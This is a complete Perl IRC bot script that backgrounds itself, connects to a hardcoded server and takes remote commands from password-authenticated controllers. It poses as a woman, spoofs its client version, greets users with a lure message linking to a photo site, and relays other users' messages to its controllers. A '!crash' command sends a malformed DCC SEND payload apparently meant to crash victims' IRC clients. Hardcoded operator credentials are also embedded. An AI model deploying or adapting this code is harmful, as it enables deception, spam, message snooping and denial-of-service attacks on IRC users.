#!/usr/bin/perl -w ###################################################### # Usage: ./jennybot [-nb] # ###################################################### # Perl Rocks ;P # ###################################################### use IO::Socket; # for the connection! DUH! use MD5; # for passwords if (!defined($ARGV[0])) { $pid = fork; exit if ($pid ne "0"); die "Error: $!" unless defined($pid); } else { if ($ARGV[0] ne "-nb" and $ARGV[0] ne "--no-background" ) { print STDERR "invalid option $ARGV[0]\n"; print STDERR "usage: $0 [OPTION]\n"; print STDERR "\n"; print STDERR " -nb, --no-background stops bot from forking and going into the background\n"; print STDERR "\n"; exit 1; } } $| = 1; @channels = (""); $nick = "jennywood"; $server = "205.207.137.2"; $port = "6667"; $info="Jenny Denwood"; $version = "mIRC v6.03 Khaled Mardam-Bey"; $passwd = "1d87beb942ea495918458b2e3283776a"; # "boogity" $opernick = "jenny"; $operpass = "yuckfou"; $count = ""; # for nickname changing, gotta keep this global :/ $disconnect = "1"; $disconnect_tries = "10"; $onjoinmessage = "0"; $onjoinmessagetext = "I'm bored you there? want to talk? hey look at my site http://jenwood.myphotos.cc and talk to me kthx"; $relay = "1"; srand(time); # not really that random, but it's good enough while ( 1 ) { &main; } sub main { if ( $disconnect eq $disconnect_tries ) { print "could not connect to $server:$port in $disconnect_tries tries, giving up!\n"; exit (1); } unless($socket) { &connect; } #!!!!!!!!!!!!!!!!!!!!!!!!!! BUG BUG BUG !!!!!!!!!!!!!!!!!!!!!!!!! # When the connection dies ( like a local kill ) this error shows when under -w # It needs to be fixed because it bugs the shit outa me # # Use of uninitialized value in at ./nbot.pl line 65. # readline() on unopened filehandle at ./nbot.pl line 65. # Use of uninitialized value in ref-to-glob cast at ./nbot.pl line 68. while(<$socket>) { sparse("$_"); } close ($socket); undef $socket; } sub sendraw { print $socket "$_[0]\n" if $socket; } sub connect { $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, PeerPort=>$port) or $disconnect++ , &main; &login; } sub login { $disconnect = "1"; sendraw("NICK $nick"); sendraw("USER $nick $nick $nick :$info"); $_ = <$socket>; # avoids a warning about $_ being uninitialized when using -w until(/^:\S+ 001 .*/) { $_ = <$socket>; if (/^PING \:(.+)/) { sendraw("PONG :$1"); } if(/^:\S+ 433 .*/) { $count++; changenick($nick); } } $nick = "$nick$count"; $count = ""; sendraw("MODE $nick +ix"); foreach $channel (@channels) { sendraw("JOIN $channel"); } } sub sparse { $_ = $_[0]; s/\r//; if (/^PING \:(.+)/) { # pings are important ;^) sendraw("PONG :$1"); } elsif (/^:\S+ ([\d]{3} .*)/) { # server error messege servermsg($1); } elsif (/^\:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) \:(.+)/) { # a message my @tmp; @tmp = ($1, $2, $3, $4, $5 ); if ($tmp[4] =~ /\01PING (\d+)\01/i) { # Handle CTCP ping requests my $falsetime = $1 + "10000000"; sendraw("NOTICE $tmp[0] :\01PING $falsetime\01"); } if ($tmp[4] =~ /\01version\01/i) { # Handle CTCP version requests sendraw("NOTICE $tmp[0] :\01VERSION $version\01"); } if($tmp[4] =~ /^!/ ) { # commands begin with "!" comparse($tmp[0], $tmp[1], $tmp[2], $tmp[3], $tmp[4]); } if ($tmp[3] eq $nick) { foreach $key (keys(%admins)) { sendraw("PRIVMSG $key :<$tmp[0]> $tmp[4]") unless ($user eq $nick); } } if ($relay eq "1") { foreach $key (keys(%admins)) { sendraw("PRIVMSG $key :<$tmp[0]\@ $tmp[3]> $tmp[4]") unless ($where eq $nick); } } } elsif (/^\:(.+?)!(.+?)@(.+?) NOTICE (.+?) \:(.+)/) { # a notice my @tmp; @tmp = ($1, $2, $3, $4, $5 ); if ($tmp[4] =~ /\01version.*/i) { # I got a version reply back foreach $key (keys(%admins)) { sendraw("PRIVMSG $key : $tmp[4]"); } } if ($tmp[4] =~ /\01ping (\d+)\01/i) { # I got a ping reply back my $nowtime = time; my $pingtime = $nowtime - $1; foreach $key (keys(%admins)) { sendraw("PRIVMSG $key : <$tmp[0]> PING reply: $pingtime secs"); } } } elsif (/^\:(.+?)!(.+?)@(.+?) KICK (\S+) (\S+) \:(.+)/) { if ($5 eq $nick) { sendraw("JOIN $4"); } } elsif (/^\:(.+?)!(.+?)@(.+?) JOIN \:(.+)/) { if ( $onjoinmessage eq "1" ) { joinmessage($1); } } elsif (/^\:($nick)!(.+?)@(.+?) NICK \:(.+)/) { # good nickname $nick="$newnick$count"; $count = ""; } } sub servermsg { # not finished but these take care of what I need so far $msg = $_[0]; if ( $msg =~ /^(433) (\S*) (\w*) / ) { $count++; changenick($newnick); } if ( $msg =~ /^432/ ) { sendraw("PRIVMSG $dest :Erroneous Nickname: Illegal characters"); &main; } if ( $msg =~ /^473 \S+ (\S+)/ ) { sendraw("PRIVMSG $dest :Cannot join $1 invite only"); } if ( $msg =~ /^475 \S+ (\S+)/ ) { sendraw("PRIVMSG $dest :Cannot join $1, need a key"); } } sub comparse { $user=$_[0]; $where = $_[3]; $input = $_[4]; if ($input =~ /^(!\w+)\s*(.*)/ ) { $command = $1; $args = $2; if ( $command eq "!login" ) { if(defined($admins{$user})) { sendraw("PRIVMSG $user :you are already logged in"); &main; } if(defined(passcheck($args))) { sendraw("PRIVMSG $user :you are now logged in"); $admins{$user} = "1"; &main; } else{ sendraw("PRIVMSG $user :I dont think so buddy"); } } if (defined ($admins{$user})) { adminshit( $command , $args ); } } } sub changenick { $newnick = $_[0]; sendraw("NICK $newnick$count"); } sub adminshit { my $trig = $_[0]; my $data = $_[1]; if ($where eq $nick ) { $dest = $user; } else { $dest = $where; } if($trig eq "!nick" ) { if ( $data eq "" ) { sendraw("PRIVMSG $dest :I can't change my nick to nothing tard"); } elsif ( $data eq $nick ) { sendraw("PRIVMSG $dest :thats already my nick you reject"); } else { changenick("$data"); } } elsif($trig eq "!rnick") { $randnick = int(rand 9999); if ($data eq "") { changenick("_$randnick"); } else { $randnick = $data . $randnick; changenick("$randnick"); } } elsif($trig eq "!join") { sendraw("JOIN $data"); } elsif($trig eq "!part") { sendraw("PART $data"); } elsif($trig eq "!version" ) { sendraw("PRIVMSG $data :\01VERSION\01"); } elsif($trig eq "!ping" ) { my $nowtime = time; sendraw("PRIVMSG $data :\01PING $nowtime\01"); } elsif($trig eq "!crash") { sendraw("PRIVMSG $data :\01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\" 1079095848 666\01"); } elsif($trig eq "!logout") { undef($admins{$user}); sendraw("PRIVMSG $user :you are now logged out"); } elsif($trig eq "!listlog") { foreach $key (keys(%admins)) { $loggedadmins .= "$key, "; } sendraw("PRIVMSG $dest :$loggedadmins"); $loggedadmins = ""; } elsif($trig eq "!op") { if ( $where =~ /^#/ ) { if( $data eq "") { sendraw("MODE $where +o $nick"); } elsif( $data eq "me" ) { sendraw("MODE $where +o $user"); } else { sendraw("MODE $where +o $data"); } } elsif ( $where eq $nick ) { if ( $data =~ /^#\S+$/ ) { sendraw("MODE $where +o $nick"); } elsif ( $data =~ /^(#\S+) me/) { sendraw("MODE $1 +o $user"); } elsif ( $data =~ /^(#\S+) (\S+)/) { sendraw("MODE $1 +o $2"); } } } elsif($trig eq "!deop") { if ( $where =~ /^#/ ) { if( $data eq "") { sendraw("MODE $where -o $nick"); } elsif( $data eq "me" ) { sendraw("MODE $where -o $user"); } else { sendraw("MODE $where -o $data"); } } elsif ( $where eq $nick ) { if ( $data =~ /^#\S+$/ ) { sendraw("MODE $where -o $nick"); } elsif ( $data =~ /^(#\S+) me/) { sendraw("MODE $1 -o $user"); } elsif ( $data =~ /^(#\S+) (\S+)/) { sendraw("MODE $1 -o $2"); } } } elsif($trig eq "!oper") { sendraw("OPER $opernick $operpass"); } elsif($trig eq "!deoper") { sendraw("MODE $nick -owghskAcfxeWt"); } elsif($trig eq "!kill") { sendraw("KILL $data :$user told me to do it!"); } elsif($trig eq "!die") { sendraw("QUIT :dead"); exit 0; } elsif($trig eq "!quit") { sendraw("QUIT :$data"); exit 0; } elsif($trig eq "!restart") { sendraw("QUIT :restarting"); sleep 1; # stops the new instance from comming on IRC befroe the old quits $pid = fork(); exit 0 if ($pid); system("$0"); exit 0; } elsif($trig eq "!reconnect") { sendraw("QUIT :reconnecting"); close ($socket); undef $socket; &connect; } elsif($trig eq "!jump") { if ( $data =~ /([^\s]+)\s+([^\s]+)/) { sendraw("QUIT :changing servers to $1:$2"); close ($socket); undef $socket; $server = $1; $port = $2; &connect; } else{ sendraw("PRIVMSG $dest :please specify a host and port"); } } elsif($trig eq "!tell") { if ($data =~ /(\S+) (.+)/) { sendraw("PRIVMSG $1 :$2"); } } elsif($trig eq "!act") { if ($data =~ /(\S+) (.+)/) { sendraw("PRIVMSG $1 :\01ACTION $2\01"); } } elsif($trig eq "!raw") { sendraw("$data"); } elsif($trig eq "!relay") { if ( $data eq "on" ) { $relay = "1"; } elsif ( $data eq "off" ) { $relay = "0"; } else { sendraw("PRIVMSG $dest : USAGE: !relay on|off"); } } elsif($trig eq "!ojon") { $onjoinmessage = "1"; if ( $data ne "" ) { $onjoinmessagetext = $data; } } elsif($trig eq "!ojoff") { $onjoinmessage = "0"; } elsif($trig eq "!ojtext") { $onjoinmessagetext = $data; } } sub joinmessage { $dest = shift @_; sendraw("PRIVMSG $dest :$onjoinmessagetext"); } sub passcheck { my ($str) = @_; my ($digest, $hex); my $md5 = new MD5; $md5->add($str); $digest = $md5->digest(); $hex = unpack("H*", $digest); if ($hex eq $passwd ) { return 1; } else { return undef; } }